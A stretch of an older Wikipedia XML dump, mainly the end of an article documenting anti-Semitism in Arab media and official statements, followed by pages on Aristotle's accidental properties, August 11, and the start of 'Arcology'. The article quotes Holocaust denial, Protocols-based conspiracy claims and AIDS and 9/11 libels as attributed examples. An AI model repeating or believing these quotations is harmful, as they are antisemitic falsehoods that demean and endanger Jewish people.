Many [[Arab]] newspapers, such as [[Al-Hayat Al-Jadidah]], the Palestinian Authority's official newspaper, often write that &quot;the Jews&quot; control all the world's governments, and that &quot;the Jews&quot; plan [[genocide]] on all the Arabs in the [[West Bank]]. Others write less sensational stories, and states that Jews have too much of an influence in the [[United States|US]] government. Often the leaders of other nations are said to be controlled by Jews. 

Articles in many official Arab government newspapers (notably those of the [[Palestinian Authority]], [[Libya]], and [[Saudi Arabia]]) claim that ''[[The Protocols of the Elders of Zion]]'', an infamous anti-Semitic [[forgery]], reflects actual facts, and thus points to an international Jewish conspiracy to [[global domination|take over the world]].

:&quot;[[Benjamin Netanyahu|Netanyahu's]] Plan completely matches the foundations of the greater [[Zionism|Zionist]] plan which is organized according to specific stages that were determined when the ''[[The Protocols of the Elders of Zion (document)|Protocols of the Elders of Zion]]'' was composed and when [[Theodor Herzl|Herzl]] along with [[Chaim Weizmann|Weizmann]] traveled around the world in order to determine the appropriate location for the implementation of this conspiracy,&quot; (official Palestinian Authority newspaper, Al-Hayat Al-Jadidah, [[November 30]], [[1997]])

:&quot;The Jews seek to conquer the world...We must expose the Zionist-Colonialist plot and its goals, which destroy not only our people but the entire world&quot; (PA Minister of Agriculture, [[Abdel Jawad Saleh]], quoted in [[Al-Hayat Al-Jadidah]], [[November 6]], [[1997]]) [http://www.us-israel.org/jsource/anti-semitism/pastatements.html]

The [[Egypt]]ian government run newspaper, Al-Akhbar, on [[29 April]] [[2002]], published an editorial denying [[the Holocaust]] as a fraud. The next paragraph decries the failure of the Holocaust to eliminate all of the Jews [http://www.memri.org/bin/articles.cgi?Page=archives&amp;Area=sd&amp;ID=SP37502]:

&lt;blockquote&gt;
With regard to the fraud of the Holocaust… Many [[France|French]] studies have proven that this is no more than a fabrication, a lie, and a fraud!! That is, it is a 'scenario' the plot of which was carefully tailored, using several faked photos completely unconnected to the truth. Yes, it is a film, no more and no less. [[Hitler]] himself, whom they accuse of [[Nazism]], is in my eyes no more than a modest 'pupil' in the world of murder and bloodshed. He is completely innocent of the charge of frying them in the hell of his false Holocaust!!

The entire matter, as many French and [[Britain|British]] scientists and researchers have proven, is nothing more than a huge Israeli plot aimed at extorting the [[Germany|German]] government in particular and the European countries in general. But I, personally and in light of this imaginary tale, complain to Hitler, even saying to him from the bottom of my heart, 'If only you had done it, brother, if only it had really happened, so that the world could sigh in relief [without] their evil and sin.'
&lt;/blockquote&gt;

===9/11 conspiracy theories ===
: ''Main: [[9/11 conspiracy theories#Claims related to Jews and Israel|9/11 conspiracy theories: claims related to Jews and Israel]]
Across the Arab world, a fair number of Arab media outlets, some government-sponsored (such as those of [[Libya]] and [[Saudi Arabia]], and some of those of the [[Palestinian Authority]]), published pieces alleging that the [[September 11, 2001 attacks]] were carried out by Jews, Zionists, Israelis, or even Americans.  Many within the Arab world viewed this terrorist act as a conspiracy to make the world hate all Arabs, and therefore believed that people perceived to be enemies of the Arabs must really be to blame; many others disagreed. After Al Qaeda acknowledged their role publicly, these claims lost credibility, and came to be widely seen as a [[conspiracy theory]].  Such theories are also found outside the Arab world, including in the United States.

=== The Palestinian Authority's view of Israel ===
Some people claim that the [[Palestinian Authority]]'s hostility to [[Israel]] constitutes anti-Semitism in itself; others regard this claim as absurd, noting that hostility to an enemy nation need not imply hostility to the associated ethnicity, and that the Palestinian Authority includes representatives from [[Neturei Karta]] (an extremely small group of [[anti-Zionism|anti-Zionist]] ''[[Haredi]]'' Jews with views considered extreme by most Jews).

Examples of hostility to Israel follow, as translated by [[MEMRI]]:

:The Palestinian Authority's official television channel has shows which teach 6 and 7 year old kids to kill Israelis. Episodes of a program called ''The Children's Club,'' broadcast in early 1998, showed a group of young Arab children, one of whom stood up, raised her fist, and shouted: “When I wander into Jerusalem, I will turn into a [[suicide]] warrior in battle dress! In battle dress!”  She was cheered and applauded by the other children in the group, and their adult leader declared, “Bravo! Bravo!” On another segment, a young girl sang: “Each and every part of your soil I have drenched with all my blood. And we shall march as warriors of [[Jihad]]. Oh, my exalted [[martyr]], you are my example. Oh, my sister, sing constantly about my life as a suicide warrior, how we remain steadfast. On, my country, you are my soul.” (Videotape of ''The Children's Club'', Peace for Generations, [[Jerusalem]], 1998)

An investigation by ''[[The Philadelphia Inquirer]]'' ([[September 7]], [[1997]]) found children's programs on PA television in which an 8 year-old girl was shown singing: “I am a daughter of [[Palestine (region)|Palestine]]. [[Qur'an]] in my right hand, in my left — a knife,” and another in which a young girl recites a poem she said she wrote for [[Yassir Arafat]]: “I am finished practicing on the [[submachine gun]] of return... We swear to take vengeful blood from our enemies for our killed and wounded. We will board a bustling boat which will take us to [[Jaffa, Israel|Jaffa]].” On the show, the girl then approached Arafat, who kissed her on both cheeks. ''The Inquirer'' continued:

:&quot;In a show about the opening of Palestinian schools, girls in frilly white dresses were shown dancing with [[Kalashnikov]] rifles that they twirled like batons. In another broadcast, a schoolboy, asked what he got out of summer camp, answered: 'I am defending the homeland and undergo training like army drills.' &quot;

:&quot;There is a children's quiz show about great figures in Palestinian history &amp;mdash; many of whom are considered heroes by Palestinians, but [[terrorism|terrorists]] by Israelis. One show featured [[Izz ad-Din al-Qassam]], a [[shaikh]] who was killed by the British in 1935. The military wing of [[Hamas]], which has carried out many terrorist bombings in Israel, was named for Qassam. The heroine of another episode was [[Dalal al-Maghribi]], a woman who commanded a bus hijacking near [[Haifa]] in 1978. Thirty-four Israelis and nine Palestinian commandos, Maghribi among them, were killed. The quiz-show emcee referred to Maghribi as &quot;our sacred martyr.&quot;

Senior PA officials also regularly engage in hostile [[propaganda]] against Israel, and Arafat has taken no action against them. For example, the Deputy Minister of the PA Ministry of Supplies has accused Israel of giving Palestinian Arabs “food containing material that causes [[cancer]] and [[hormone]]s that harm male virility and other spoiled food products in order to poison and harm the Palestinian population.” ([[Yediot Ahronot]], [[June 25]], [[1997]])

The [[PLO]]'s representative to the [[United Nations]] in [[Geneva]] has accused Israel of injecting “300 Palestinian children with [[HIV]].” ([[Jerusalem Post]], [[March 17]] [[1997]])

The director of the Inspection Department of the PA Ministry of Supplies has claimed that Israeli chewing gums sold in PLO-controlled areas “contain a sexually-stimulating [[adrenaline]] substance.” (Jerusalem Post, [[March 27]] [[1997]])

=== The [[Palestinian Authority]]'s view of Jews ===
Many senior PA officials and the PA-controlled media have also repeatedly made statements denigrating Jewish religious beliefs and Jewish history, such denying that modern Jews have any connection to the Jews in the Bible; that Jews have any historical connection to Jerusalem; and that the Western Wall has any religious significance in [[Judaism]]. (See ''[[Israeli-Palestinian history denial]]'' for details.) These same PA officials and the PA-controlled media have also repeatedly made statements distorting or denying [[the Holocaust]].

In some cases, they have claimed that Jews invented the “myth” of [[Nazi]] genocide in order to gain world sympathy and reparations money. In other instances, they have acknowledged that some Jews were murdered by the Nazis, but charged that Jews vastly exaggerated the death toll for political purposes. 

[[Mahmoud Abbas]] (Abu Mazen), Arafat's number-two man and the architect of the [[Oslo Accords]], is the author of a book claiming that the Nazis may have really killed less than one million Jews. (Jerusalem Post, [[January 26]], [[1995]]) Numerous senior PA officials, [[Left-Wing]] and [[Right-wing]] Americans, Israeli Soldiers and Jewish intellectuals have also compared Israel to the Nazis, in one noted case declaring that Israel's treatment of Arabs is even worse than the Nazis' treatment of Jews, although such a claim is generally perceived as a tremendous exaggeration in light of factual realities.

===[[Hizbullah]]'s [[Al-Manar]] TV channel===
Jewish groups and European observers allege that [[Hizbullah]]'s [[Al-Manar]] TV channel frequently airs [[antisemitic]] broadcasts, blaming the Jews for a Zionist [[conspiracy]] against the Arab world, and often airing excerpts from the [[Protocols of the Elders of Zion]], which the Encyclopædia Britannica describes as a &quot;fraudulent document that served as a pretext and rationale for anti-Semitism in the early 20th century.&quot;.

Al-Manar recently aired a drama series, called &quot;The Diaspora&quot;, which observers allege is based on historical anti-Semitic allegations. [[BBC]] reporters who watched the series said that: &lt;blockquote&gt; Correspondents who have viewed The Diaspora note that it quotes extensively from the Protocols of the Elders of Zion, a notorious 19th Century publication used by the Nazis among others to fuel race hatred.  [http://news.bbc.co.uk/1/hi/world/europe/3581514.stm] &lt;/blockquote&gt;

In another incident, an Al-Manar commentator recently referred to &quot;Zionist attempts to transmit [[AIDS]] to Arab countries&quot;.  Al-Manar officials deny broadcasting anti-Semitic incitement and state that their position is anti-Israeli, not anti-Semitic.

Due to protests by the [[CRIF]] umbrella group of French Jews regarding allegations of anti-Semitic content, [[France|French]] Prime Minister [[Jean-Pierre Raffarin]] called for a ban on Al-Manar broadcasting in France on [[December 2]], [[2004]]; just two weeks after al-Manar was authorised to continue broadcasting in Europe by France's media watchdog agency. [http://news.bbc.co.uk/1/hi/world/europe/4064317.stm]

On [[December 13]], [[2004]], [[France]]'s highest administrative court banned [[Hizbullah]]'s ''Al-Manar'' TV station on the grounds that it consistently incites racial hatred and [[antisemitism]]. [http://news.bbc.co.uk/1/hi/world/europe/4093579.stm (BBC)]

On [[December 17]], [[2004]], The United States followed the lead of the French government, and placed Al-Manar on the [[U.S. State Department list of Foreign Terrorist Organizations]]. This measure was aimed at forcing the companies which currently transmit Al-Manar to the United States via [[satellite]] to drop the controversial station or face criminal prosecution.

===Anti-Semitic laws and policies in Arab countries===
The [[Saudi Arabia|Saudi]] Ministry of Tourism announced on its web site in early 2004, that visas to enter the country will not be issued to &quot;Jewish people.&quot;[http://news.bbc.co.uk/2/hi/middle_east/3493448.stm].

The [[Jordan]]ian Nationality Law of 1954 states that &quot;Any man in the [[West Bank]] will be a Jordanian subject if he is not Jewish.&quot;

== Quotes ==
* &quot;The volume of anti-Semitic books and articles published, the size and number of editions and impressions, the eminence and authority of those who write, publish and sponsor them, their place in school and college curricula, their role in the mass media, would all seem to suggest that classical anti-Semitism is an essential part of Arab intellectual life at the present time-almost as much as happened in Nazi Germany, and considerably more than in late nineteenth and early twentieth century France.&quot; (Bernard Lewis, ''Semites and Antisemites'' New York/London: Norton, 1986, p. 286)

* The Jews have been amongst the most active advocates of destruction in many lands... It is well known that the disintegration of Russia was wholly or in great part brought about by the Jews, and a large proportion of the defeat of Germany and Austria must also be put at their door. (Musa Khazem El Husseini, Mayor of Jerusalem to Winston Churchill, March 1921, quoted in Benny Morris, Righteous Victims, Knopf 1999 Page 99)

* &quot;No more than 400,000 Jews were killed by the Nazis.&quot; &quot;It is well-known that every year the Jews exaggerate what the Nazis did to them,&quot; said the moderator of a cultural affairs program on Palestinian Authority Television, during an [[August 25]], [[1997]]. &quot;They claim there were 6 million killed, but precise scientific research demonstrates that there were no more than 400,000.&quot; 

* &quot;Zionists forged Holocaust claims.&quot; On [[September 3]] [[1997]], the PA newspaper Al-Hayat Al-Jadidah featured an article by Palestinian Arab author Nabil Salam, which declared: &quot;Since its establishment, the racist Zionist entity has been implementing various forms of terrorism on a daily basis which are a repetition of the Nazi terror. This proves the shared roots of Nazi and Zionist thought. This also explains the cooperation between the Jews and Nazis during World War II, through which was revealed the forged claims of the Zionists regarding the alleged acts of slaughter perpetrated against the Jews during the same period.&quot; 

* &quot;Zionists were partners with the Nazis in the Holocaust.&quot; Mahmoud Abbas (Abu Mazen), the number 2 official in the [[PLO]] and architect of the [[Oslo Accords]], authored and has refused to retract a book claiming that &quot;the [[Zionist]] movement was a partner in the massacre of the Jews.&quot; The book is entitled ''The Other Side: The Secret Relationship Between Nazism and the Zionist Movement'', and uses the statements of German Jewish Zionists who supported Hitler to suggest that they supported the Nazis, and thus [[the Holocaust]]. The book also claims that the Nazis may have really killed less than one million Jews, and that the rest were killed by Soviets. (Jerusalem Post, [[26 January]] [[1995]])

== Jewish-Arab dialogue ==
There are a number of [[projects working for peace among Israelis and Arabs]], and projects which include Jewish-Islamic theological dialogue. One of their goals is to reduce Jewish-Arab tensions and to foster coexistence. 

==See also==
*[[Peace process]]
*[[Islam and anti-Semitism]]
*[[Religious pluralism]]
*[[Anti-Zionism#Arab anti-Zionism|Arab anti-Zionism]]
*[[Anti-Arabism]]
*[[Islamophobia]]

==External links==
*[http://www.nahost-politik.de/friedensbewegung/antisemitismus.htm Reflections of the Israeli Leftist Uri Avnery about Palestinians and Anti-semitism]
*[http://www.tau.ac.il/Anti-Semitism/asw98-9/arab.html Arab Anti-Semitism in 1998/99] - summary of Arab anti-Semitism, by the [[University of Tel Aviv]]
*[http://www.adl.org/main_Arab_World/default.htm Anti-Semitism in the Arab World] - a collection of materials updated regularly
*[http://www.secularislam.org/articles/khawaja3.htm The Problem of Muslim Anti-Semitism]
*[http://www.geocities.com/martinkramerorg/Antisemitism.htm The Salience of Islamic Anti-Semitism]
*[http://www.tenc.net/gilwhite/israel.htm Anti-Semitism and the Palestinian Leaders]
*[http://www.commentarymagazine.com/article.asp?aid=11906035_1 The Anti-Semitic Disease] - an analysis by [[Paul Johnson (journalist)|Paul Johnson]] in ''[[Commentary Magazine]]''.
*[http://thomas.loc.gov/cgi-bin/query/z?c107:S.RES.366: S.RES.366] Urging the Government of [[Egypt]] and other Arab governments not to allow their government-controlled television stations to broadcast any program that lends legitimacy to the [[Protocols of the Elders of Zion]], and for other purposes.  (Passed/agreed to in Senate on [[20 November]] [[2002]]).
* [http://www.zionismontheweb.org/history_of_Muslim_antisemitism_and_anti-Zionism.htm Roots of Islamic based antisemitism and anti-Zionism]
* [http://www.zionism.netfirms.com/ArabAntiZionism.htm Arab and Muslim anti-Semitism, a mini- Study]Considers the causes of Arab/Muslim anti-Semitism and provides extensive links.

=== Examples of anti-Semitism in the Arab press provided by [[MEMRI]] ===
* [http://www.memri.org/bin/articles.cgi?Page=subjects&amp;Area=antisemitism&amp;ID=SP33902 Egyptian government newspaper reprints Nazi forgeries]
* [http://www.memri.org/bin/articles.cgi?Page=subjects&amp;Area=antisemitism&amp;ID=SR00602 Jews blamed for the September 11th World Trade Center attacks]
* [http://www.memri.org/bin/articles.cgi?Page=subjects&amp;Area=antisemitism&amp;ID=SP32201 Egyptian government science journal claims that the Jews deliberately spread AIDS]
* [http://www.memri.org/bin/articles.cgi?Page=subjects&amp;Area=antisemitism&amp;ID=SP32101 Saudi government newspaper claims that Jews are taking over the world]
* [http://www.memri.org/bin/articles.cgi?Page=subjects&amp;Area=antisemitism&amp;ID=SP22501 Zionism is accused of being the same as Nazism]
* [http://www.memri.org/bin/articles.cgi?Page=subjects&amp;Area=antisemitism&amp;ID=SP21401 Leader of Libya claims that the Jews deliberately spread AIDS]

[[Category:Anti-Semitism]]
[[Category:Arab]]</text>
    </revision>
  </page>
  <page>
    <title>Accidental property</title>
    <id>2188</id>
    <revision>
      <id>33830428</id>
      <timestamp>2006-01-04T10:25:22Z</timestamp>
      <contributor>
        <username>Pengo</username>
        <id>35807</id>
      </contributor>
      <minor />
      <comment>moved [[Accidental properties]] to [[Accidental property]]</comment>
      <text xml:space="preserve">[[Aristotle]] made a distinction between the ''[[essential properties|essential]]'' and ''accidental'' [[properties]] of a thing. An '''accidental property''' is one which has no necessary connection to the [[essence]] of the thing being described.

A trivial example may help to illustrate the distinction. It is an ''essential property'' of bachelors that they are unmarried, but it is an ''accidental property'' of bachelors that they have brown hair. This is because it is logically impossible to find a married bachelor anywhere in this or any other possible world, and therefore the property of being unmarried is an necessary or essential part of being a bachelor. On the other hand, brown hair is a ''contingent'' or accidental property of bachelors since some bachelors have brown hair and others do not. Even if for some reason all the unmarried men with non-brown hair were killed, and every single existent bachelor had brown hair, the property of having brown hair would still be accidental, since it is the case that in some possible world, a bachelor could have hair of another color.

There are various categories of accidental properties in Aristotle's logic, including number, quality, place, time, relation to other objects, etc.

[[Category:Classical Greek philosophy]]
[[Category:Aristotle]]</text>
    </revision>
  </page>
  <page>
    <title>Alternate History</title>
    <id>2190</id>
    <revision>
      <id>15900622</id>
      <timestamp>2004-04-22T12:04:42Z</timestamp>
      <contributor>
        <username>Timwi</username>
        <id>13051</id>
      </contributor>
      <minor />
      <comment>fix double-redirect</comment>
      <text xml:space="preserve">#REDIRECT [[Alternative history]]</text>
    </revision>
  </page>
  <page>
    <title>August 11</title>
    <id>2192</id>
    <revision>
      <id>41948518</id>
      <timestamp>2006-03-02T20:48:14Z</timestamp>
      <contributor>
        <username>Rklawton</username>
        <id>754622</id>
      </contributor>
      <comment>rv vandalism</comment>
      <text xml:space="preserve">{| style=&quot;float:right;&quot;
|- 
|{{AugustCalendar}}
|-
|{{ThisDateInRecentYears|Month=August|Day=11}}
|}
'''[[August 11]]''' is the 223rd day of the year (224th in [[leap year]]s) in the [[Gregorian Calendar]]. There are 142 days remaining.

==Events==
*[[3114 BC]] - On this date in the [[proleptic Gregorian calendar]] begins our current era in the [[Maya calendar|Maya Long Count Calendar]].
*[[480 BC]] - [[Iran|Persia]]ns under [[Xerxes I|Xerxes]] defeat [[Sparta]]ns under King [[Leonidas]] in the [[Battle of Thermopylae]]. The Spartans fought to the last man.
*480 BC - The Persian and Greek fleets also fight the indecisive [[Battle of Artemisium]].
*[[1492]] - [[Pope Alexander VI|Alexander VI]] is elected [[Pope]]. 
*[[1711]] - The first race meeting was held at [[Ascot Racecourse|Ascot]]
*[[1858]] - First ascent of the [[Eiger]].
*[[1898]] - American troops enter the city of [[Mayagüez, Puerto Rico|Mayagüez]], [[Puerto Rico]] during the [[Spanish-American War]].
*[[1918]] - [[World War I]] - [[Battle of Amiens]] ends 
*[[1919]] - Constitution of [[Weimar Republic]] adopted
*[[1920]] - The [[Latvia]] - [[Soviet Russia]] peace treaty which relinquished Russia`s authority and pretences to Latvian nation and territory for all time. In [[1940]] the [[Soviet Union]] unilaterally broke this Treaty and occupied [[Latvia]]
*[[1929]] - [[Babe Ruth]] becomes the first [[baseball]] player to hit [[500 home run club|500]] [[Home run|home runs]] in his career with a home run at [[League Park]] in [[Cleveland, Ohio]].
*[[1934]] - Federal prison opened at [[Alcatraz]] Island
*[[1943]] - [[World War II]] - [[First Quebec Conference]] of [[Winston Churchill]], [[Franklin D. Roosevelt]], [[T. V. Soong]] and [[William Lyon Mackenzie King]] begins.
*[[1951]] - [[René Pleven]] becomes Prime Minister of [[France]]
*[[1952]] - [[King Hussein|Hussein]] proclaimed king of [[Jordan]]
*[[1956]] - [[Jackson Pollock]] dies in car crash [[East Hampton, NY]]
*[[1960]] - [[Chad]] declares independence 
*[[1965]] - Race riots (the [[Watts riots]]) begin in [[Watts, Los Angeles, California|Watts]] area of [[Los Angeles, California]]
*[[1966]] - [[John Lennon]] holds a press conference in Chicago apologizing for stating that the Beatles were [[John Lennon#&quot;More popular than Jesus&quot; controversy|&quot;more popular than Jesus&quot;]].
*[[1970]] - A trademark application by the [[Van Brode Milling Company]] for the word [[Spork]] was published by the [[USPTO]].
*[[1972]] - Last [[United States]] ground combat unit departs [[South Vietnam]]
*[[1981]] - The [[IBM PC]], an early [[personal computer]], is introduced
*[[1984]] - [[United States]] [[President]] [[Ronald Reagan]], during a voice check for a radio broadcast remarks &quot;My fellow Americans, I'm pleased to tell you today that I've signed legislation that will outlaw [[Russia]] forever.  We begin bombing in five minutes&quot;.
*[[1987]] - [[Alan Greenspan]] becomes [[Chairman of the Federal Reserve|Chairman]] of the [[Federal Reserve| United States Federal Reserve]].
*[[1991]] - The three original [[Nicktoons]], [[Doug]], [[Rugrats]], and [[The Ren and Stimpy Show]] make their debuts on the [[Nickelodeon (TV channel)|Nickelodeon]] cable channel.
*[[1995]] - Three people are killed when a [[Toronto Transit Commission|TTC]] train [[Russell Hill Subway accident|hits the back of a stationary train]] near [[Toronto]]'s [[Dupont (TTC)|Dupont Station]]. 
*[[1992]] - The [[Mall of America]] opens in [[Bloomington, Minnesota]], USA
*[[1999]] - A total [[solar eclipse]] visible from Europe and Asia.
*[[2003]] - [[NATO]] takes over command of the [[International Security Assistance Force|peacekeeping force]] in [[Afghanistan]], marking its first major operation outside [[Europe]] in its 54-year-history.
*2003 - [[Jemaah Islamiyah]] leader Riduan Isamuddin, better known as [[Hambali]], is arrested in [[Bangkok]], [[Thailand]].

==Births==
*[[1667]] - [[Anna Maria Luisa de' Medici]], last of the Medicis (d. [[1743]]) 
*[[1673]] - [[Richard Mead]], English physician (d. [[1754]])
*[[1718]] - Sir [[Frederick Haldimand]], Swiss-born British colonial governor (d. [[1791]])
*[[1722]] - [[Richard Brocklesby]], English physician (d. [[1797]])
*[[1794]] - [[James Barton Longacre]], American engraver (d. [[1869]])
*[[1807]] - [[David Rice Atchison]], American politician (d. [[1886]])
*[[1833]] - [[Robert G. Ingersoll]], American politician and soldier (d. [[1899]])
*1833 - [[Kido Takayoshi]], Japanese politician (d. [[1877]])
*[[1837]] - [[Marie François Sadi Carnot]], French statesman (d. [[1894]])
*[[1858]] - [[Christiaan Eijkman]], Dutch physician and pathologist, recipient of the [[Nobel Prize in Physiology or Medicine]] (d. [[1930]])
*[[1863]] - [[Gaston Doumergue]], [[President of France]] (d. [[1937]])
*[[1870]] - [[Tom Richardson]], English cricketer (d. [[1912]]).
*[[1872]] - [[Shidehara Kijuro]], [[Prime Minister of Japan]] (d. [[1951]])
*[[1892]] - [[Eiji Yoshikawa]], Japanese novelist (d. [[1962]])
*[[1897]] - [[Louise Bogan]], American poet (d. [[1970]])
*1897 - [[Enid Blyton]], English author (d. [[1968]])
*[[1902]] - [[Alfredo Binda]], Italian cyclist (d. [[1986]])
*1902 - [[Lloyd Nolan]], American actor (d. [[1982]])
*[[1905]] - [[Erwin Chargaff]], Austrian biochemist (d. [[2002]])
*[[1912]] - [[Eva Ahnert-Rohlfs]], German astronomer (d. [[1954]])
*1912 - [[Thanom Kittikachorn]], [[Prime Minister of Thailand]] (d. [[2004]])
*[[1913]] - [[Angus Wilson]], British novelist (d. [[1991]])
*[[1914]] - [[José Silva (parapsychologist)|José Silva]], author of [[Silva Method]] and the Silva UltraMind ESP System (d. [[1999]])
*[[1919]] - [[Ginette Neveu]], French violinist (d. [[1949]])
*[[1921]] - [[Alex Haley]], American historian and novelist (d. [[1992]])
*[[1926]] - [[Aaron Klug]], Lithuanian-born chemist, [[Nobel Prize in Chemistry|Nobel Prize]] laureate
*[[1928]] - [[Arlene Dahl]], American actress
*[[1932]] - [[Fernando Arrabal]], Spanish writer
*[[1933]] - [[Jerry Falwell]], American preacher and politician
*[[1943]] - [[Abigail Folger]], American heiress (d. [[1969]])
*1943 - [[Pervez Musharraf]], Pakistani general and leader
*[[1944]] - [[Ian McDiarmid]], Scottish actor
*[[1946]] - [[Marilyn vos Savant]], American newspaper columnist
*[[1950]] - [[Gennidy Nikonov]], Russian weapons inventor
*1950 - [[Steve Wozniak]], American computer pioneer
*[[1953]] - [[Hulk Hogan]], American professional wrestler
*[[1954]] - [[Joe Jackson (musician)|Joe Jackson]], English singer
*1954 - [[Juan Maria Solare]], Argentine composer and pianist
*[[1955]] - [[Sylvia Hermon]], British politician
*[[1957]] - [[Richie Ramone]], American drummer ([[The Ramones]])
*[[1964]] - [[Jim Lee]], Korean-born comic book artist and publisher
*[[1966]] - [[Nigel Martyn]], English footballer
*[[1967]] - [[Joe Rogan]], American comedian and television host
*1967 - [[Enrique Bunbury]], Spanish singer and songwriter
*[[1968]] - [[Lorenzo Bernardi]], Italian volleyball player
*[[1970]] - [[Andy Bell (musician)|Andy Bell]], English bass player ([[Oasis (band)|Oasis]])
*[[1972]] - [[Jonathon Prandi]], American model
*[[1974]] - [[Audrey Mestre]], French diver
*[[1976]] - [[Ľubomir Visnovsky]], Slovak ice hockey player
*[[1980]] - [[Lee Suggs]], American football player
*[[1987]] - [[Sidney Crosby]], Canadian NHL hockey player
*[[1993]] - [[Alyson Stoner]], American actress and dancer

==Deaths==
*[[480 BC]] - [[Leonidas]], King of Sparta
*[[897]] - [[Wilfred the Hairy]], Count of Barcelona
*[[1204]] - King [[Guttorm of Norway]] (b. [[1199]])
*[[1253]] - [[Clare of Assisi]], Italian follower of [[Francis of Assisi]] (b. [[1194]])
*[[1464]] - [[Nicholas of Cusa]], German philosopher and mathematician (b. [[1401]])
*[[1519]] - [[Johann Tetzel]], German opponent of the Reformation (b. [[1465]])
*[[1563]] - [[Bartolomé de Escobedo]], Spanish composer
*[[1578]] - [[Pedro Nunes]], Portuguese mathematician (b. [[1502]])
*[[1614]] - [[Lavinia Fontana]], Italian painter (b. [[1552]])
*[[1656]] - [[Prince Octavio Piccolomini, Duke of Amalfi]], Austrian field marshal (b. [[1599]])
*[[1676]] - [[Hans Jakob Christoffel von Grimmelshausen]], German writer
*[[1774]] - [[Tiphaigne de la Roche]], French writer (b. [[1722]])
*[[1813]] - [[Henry James Pye]], English poet (b. [[1745]])
*[[1851]] - [[Lorenz Oken]], German naturalist (b. [[1779]])
*[[1854]] - [[Macedonio Melloni]], Italian physicist (b. [[1798]])
*[[1890]] - [[John Henry Cardinal Newman]], English Catholic cardinal (b. [[1801]])
*[[1892]] - [[Enrico Betti]], Italian mathematician (b. [[1813]])
*[[1919]] - [[Andrew Carnegie]], Scottish-born industrialist and philanthropist (b. [[1835]])
*[[1937]] - [[Edith Wharton]], American author (b. [[1862]])
*[[1939]] - [[Jean Bugatti]], Italian automobile designer (b. [[1909]])
*[[1953]] - [[Tazio Nuvolari]], Italian race car driver (b. [[1892]])
*[[1956]] - [[Jackson Pollock]], American artist (b. [[1912]])
*[[1972]] - [[Max Theiler]], South African virologist, recipient of the [[Nobel Prize in Physiology or Medicine]] (b. [[1899]])
*[[1973]] - [[Karl Ziegler]], German chemist, [[Nobel Prize in Chemistry|Nobel Prize]] laureate (b. [[1898]])
*[[1984]] - [[Alfred A. Knopf (person)|Alfred A. Knopf]], American publisher (b. [[1892]])
*[[1988]] - [[Anne Ramsey]], American actress (b. [[1929]])
*[[1996]] - [[Rafael Kubelik]], Czech-born conductor and composer (b. [[1914]])
*[[2003]] - [[Armand Borel]], Swiss mathematician (b. [[1923]])
*2003 - [[Herb Brooks]], American hockey coach (b. [[1937]])

==Holidays and observances==
* [[Taiwan]] - [[Valentine's Day]]
* [[Zimbabwe]] - Heroes Day
* [[Qi Xi]] ([[2005]], the seventh day of the seventh lunar month of the [[Chinese calendar]])

==External links==
* [http://news.bbc.co.uk/onthisday/hi/dates/stories/august/11 BBC: On This Day]
* [http://www.nytimes.com/learning/general/onthisday/20050811.html ''The New York Times'': On This Day]

----

[[August 10]] - [[August 12]] - [[July 11]] - [[September 11]] -- [[historical anniversaries|listing of all days]]

{{months}}

[[ilo:Agosto 11]]

[[af:11 Augustus]]
[[ar:11 أغسطس]]
[[an:11 d'agosto]]
[[ast:11 d'agostu]]
[[bg:11 август]]
[[be:11 жніўня]]
[[bs:11. avgust]]
[[ca:11 d'agost]]
[[ceb:Agosto 11]]
[[cv:Çурла, 11]]
[[co:11 d'aostu]]
[[cs:11. srpen]]
[[cy:11 Awst]]
[[da:11. august]]
[[de:11. August]]
[[et:11. august]]
[[el:11 Αυγούστου]]
[[es:11 de agosto]]
[[eo:11-a de aŭgusto]]
[[eu:Abuztuaren 11]]
[[fo:11. august]]
[[fr:11 août]]
[[fy:11 augustus]]
[[ga:11 Lúnasa]]
[[gl:11 de agosto]]
[[ko:8월 11일]]
[[hr:11. kolovoza]]
[[io:11 di agosto]]
[[id:11 Agustus]]
[[ia:11 de augusto]]
[[ie:11 august]]
[[is:11. ágúst]]
[[it:11 agosto]]
[[he:11 באוגוסט]]
[[jv:11 Agustus]]
[[ka:11 აგვისტო]]
[[csb:11 zélnika]]
[[ku:11'ê gelawêjê]]
[[lt:Rugpjūčio 11]]
[[lb:11. August]]
[[li:11 augustus]]
[[hu:Augusztus 11]]
[[mk:11 август]]
[[ms:11 Ogos]]
[[nap:11 'e aùsto]]
[[nl:11 augustus]]
[[ja:8月11日]]
[[no:11. august]]
[[nn:11. august]]
[[oc:11 d'agost]]
[[pl:11 sierpnia]]
[[pt:11 de Agosto]]
[[ro:11 august]]
[[ru:11 августа]]
[[sco:11 August]]
[[sq:11 Gusht]]
[[scn:11 di austu]]
[[simple:August 11]]
[[sk:11. august]]
[[sl:11. avgust]]
[[sr:11. август]]
[[fi:11. elokuuta]]
[[sv:11 augusti]]
[[tl:Agosto 11]]
[[tt:11. August]]
[[te:ఆగష్టు 11]]
[[th:11 สิงหาคม]]
[[vi:11 tháng 8]]
[[tr:11 Ağustos]]
[[uk:11 серпня]]
[[wa:11 d' awousse]]
[[war:Agosto 11]]
[[zh:8月11日]]
[[pam:Agostu 11]]</text>
    </revision>
  </page>
  <page>
    <title>Arcology</title>
    <id>2193</id>
    <revision>
      <id>41276082</id>
      <timestamp>2006-02-26T05:55:43Z</timestamp>
      <contributor>
        <username>Impaciente</username>
        <id>448027</id>
      </contributor>
      <minor />
      <text xml:space="preserve">An '''arcology''' is an habitat or settlement, maintaining an extremely high human [[population density]]. The term was invented by architect [[Paolo Soleri]], as a [[portmanteau]] of ''[[architecture]]'' and ''[[ecology]]''. So far these constructs exist only conceptually with experiments taking place at [[Arcosanti]] in central Arizona, USA. Popular in science fiction, arcologies are generally advocated as solutions to the problems of [[overpopulation]] and [[environmental degradation]], as they reduce the footprint of cities.  Most cities spread across the Earth's surface horizontally — covering more and more land and reducing arable farmland.  Arcologies would be 'vertical cities,' or, more accurately, [[three dimensional cities]].

== Development of the arcology idea ==

